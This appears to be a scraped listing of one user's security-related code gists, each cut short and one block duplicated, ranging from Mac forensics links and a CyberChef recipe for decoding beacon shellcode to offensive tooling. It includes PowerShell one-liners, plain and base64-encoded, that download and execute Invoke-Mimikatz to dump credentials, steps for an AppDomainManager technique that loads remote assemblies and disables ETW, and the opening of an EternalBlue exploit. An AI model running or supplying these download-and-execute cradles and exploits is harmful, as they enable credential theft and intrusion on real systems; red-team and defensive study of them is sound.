sopsmattw

# Map URLs to Internet Explorer Security Zones via PowerShell

$csSource = @'
using System;
using System.Runtime.InteropServices;
using System.Runtime.InteropServices.ComTypes;

                
public class IEZones
{

sopsmattw

• Sarah Edwards (@iamevltwin)

  • mac4n6.com
  • SANS FOR518: Mac and iOS Forensic Analysis and Incident Response
  • Apple Pattern of Life Lazy Output'er

• Unified Log

  • Howard Oakley @howardnoakley
    • Unified log: 1 why, what and how
    • Unified log: 2 content and extraction

• Unified log: 3 finding your way

sopsmattw

[{"op":"Conditional Jump","args":["bxor",false,"Decode_Shellcode",10]},{"op":"Label","args":["Decode_beacon"]},{"op":"From Base64","args":["A-Za-z0-9+/=",true]},{"op":"Decode text","args":["UTF-16LE (1200)"]},{"op":"Regular expression","args":["User defined","[a-zA-Z0-9+/=]{30,}",true,true,false,false,false,false,"List matches"]},{"op":"From Base64","args":["A-Za-z0-9+/=",true]},{"op":"Gunzip","args":[]},{"op":"Label","args":["Decode_Shellcode"]},{"op":"Regular expression","args":["User defined","[a-zA-Z0-9+/=]{30,}",true,true,false,false,false,false,"List matches"]},{"op":"Conditional Jump","args":["",false,"",10]},{"op":"From Base64","args":["A-Za-z0-9+/=",true]},{"op":"XOR","args":[{"option":"Decimal","string":"35"},"Standard",false]}]

sopsmattw

This is a variation of the technique originally discovered by subtee and described here

TL;DR It essentially allows you to turn any .NET application into a lolbin by providing a configuration file and specifying the <appDomainManagerAssembly> element pointing to a specially crafted .NET assembly which executes when the application is loaded.

This variation allows you to load the AppDomainManager assembly from a UNC path or HTTP(s) server. Also disables ETW thanks to the <etwEnable> element :)

1. Copy some binary you love to say, C:\Test. Lets use aspnet_compiler.exe as an example
2. Compile test.cs to test.dll with a signed strong name, this is required to load an assembly outside of a .NET applications base directory.
3. Host test.dll on a remote SMB or HTTP(S) server

sopsmattw

#!/usr/bin/env python
# resolve domain computers by @3xocyte

import argparse
import sys
import string

# requires dnspython and ldap3
import dns.resolver
from ldap3 import Server, Connection, NTLM, ALL, SUBTREE

sopsmattw

*NOTE - These pull from public GitHub Repos that are not under my control. Make sure you trust the content (or better yet, make your own fork) prior to using!*

#mimikatz
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); $m = Invoke-Mimikatz -DumpCreds; $m

#encoded-mimikatz
powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUABvAHcAZQByAFMAaABlAGwAbABNAGEAZgBpAGEALwBQAG8AdwBlAHIAUwBwAGwAbwBpAHQALwBtAGEAcwB0AGUAcgAvAEUAeABmAGkAbAB0AHIAYQB0AGkAbwBuAC8ASQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoALgBwAHMAMQAnACkAOwAgACQAbQAgAD0AIABJAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAegAgAC0ARAB1AG0AcABDAHIAZQBkAHMAOwAgACQAbQAKAA==

#mimikittenz
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/putterpanda/mimikittenz/master

sopsmattw

*NOTE - These pull from public GitHub Repos that are not under my control. Make sure you trust the content (or better yet, make your own fork) prior to using!*

#mimikatz
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); $m = Invoke-Mimikatz -DumpCreds; $m

#encoded-mimikatz
powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUABvAHcAZQByAFMAaABlAGwAbABNAGEAZgBpAGEALwBQAG8AdwBlAHIAUwBwAGwAbwBpAHQALwBtAGEAcwB0AGUAcgAvAEUAeABmAGkAbAB0AHIAYQB0AGkAbwBuAC8ASQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoALgBwAHMAMQAnACkAOwAgACQAbQAgAD0AIABJAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAegAgAC0ARAB1AG0AcABDAHIAZQBkAHMAOwAgACQAbQAKAA==

#mimikittenz
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/putterpanda/mimikittenz/master

sopsmattw

#!/usr/bin/python
from impacket import smb
from struct import pack
import os
import sys
import socket

'''
EternalBlue exploit for Windows 8 and 2012 by sleepya
The exploit might FAIL and CRASH a target system (depended on what is overwritten)

sopsmattw

# Run this once
openssl genrsa -des3 -out ca.key 4096
openssl req -new -x509 -days 365 -key ca.key -out ca.crt

sopsmattw

[Unit]
Description=Keeps a tunnel to 'remote.example.com' open
After=network.target

[Service]
User=autossh
# -p [PORT]
# -l [user]
# -M 0 --> no monitoring
# -N Just open the connection and do nothing (not interactive)